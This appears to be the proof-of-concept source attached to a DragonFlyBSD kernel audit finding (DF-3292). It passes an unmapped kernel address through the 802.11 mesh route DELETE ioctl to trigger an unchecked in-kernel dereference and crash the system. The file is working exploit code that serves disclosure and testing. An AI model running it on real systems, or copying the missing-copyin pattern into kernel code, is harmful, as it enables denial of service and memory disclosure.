⬢ DragonFlyBSD Kernel Audit
DF-3292 / setmeshdel.c
← back to finding ↓ download raw
/*
 * DF-3292 -- SIOCS80211 IEEE80211_IOC_MESH_RTCMD_DELETE passes the raw
 * user-supplied ireq->i_data pointer into ieee80211_mesh_rt_del(), which
 * dereferences it in-kernel (IEEE80211_ADDR_EQ) with no copyin.  The ADD
 * path likewise derefs i_data before its (proper) copyin.
 *
 * This tool passes an UNMAPPED KERNEL pointer as i_data: the kernel
 * faults reading 6 bytes at that address -> fatal trap (privileged DoS,
 * and an arbitrary-address 6-byte read gadget for a privileged caller).
 *
 * Build:  cc -o /root/fwm/setmeshdel setmeshdel.c
 * Run:    ./setmeshdel wlan0        (needs SYSCAP_NONET_WIFI)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netproto/802_11/ieee80211_ioctl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int
main(int argc, char *argv[])
{
	struct ieee80211req ireq;
	int s;

	if (argc != 2)
		errx(1, "usage: %s wlanif", argv[0]);

	uint8_t mac[IEEE80211_ADDR_LEN] = { 0x02,0x11,0x22,0x33,0x44,0x55 };

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	/* 1. seed one route via MESH_RTCMD_ADD (proper userland buffer) */
	memset(&ireq, 0, sizeof(ireq));
	strlcpy(ireq.i_name, argv[1], IFNAMSIZ);
	ireq.i_type = IEEE80211_IOC_MESH_RTCMD;
	ireq.i_val = IEEE80211_MESH_RTCMD_ADD;
	ireq.i_data = mac;
	ireq.i_len = IEEE80211_ADDR_LEN;
	if (ioctl(s, SIOCS80211, &ireq) < 0)
		warn("ADD ioctl (continuing)");
	else
		printf("route added (hwmp discovery queued)\n");
	sleep(1);

	/* 2. DELETE with an unmapped KERNEL address as i_data */
	memset(&ireq, 0, sizeof(ireq));
	strlcpy(ireq.i_name, argv[1], IFNAMSIZ);
	ireq.i_type = IEEE80211_IOC_MESH_RTCMD;
	ireq.i_val = IEEE80211_MESH_RTCMD_DELETE;
	/* the bug: this pointer is dereferenced in kernel without copyin */
	ireq.i_data = (void *)0xffffffff40000000ull;	/* unmapped kernel addr */

	printf("issuing MESH_RTCMD_DELETE with kernel i_data=%p...\n",
	    ireq.i_data);
	if (ioctl(s, SIOCS80211, &ireq) < 0)
		warn("ioctl returned (no crash)");
	else
		printf("ioctl succeeded (no crash)\n");
	return 0;
}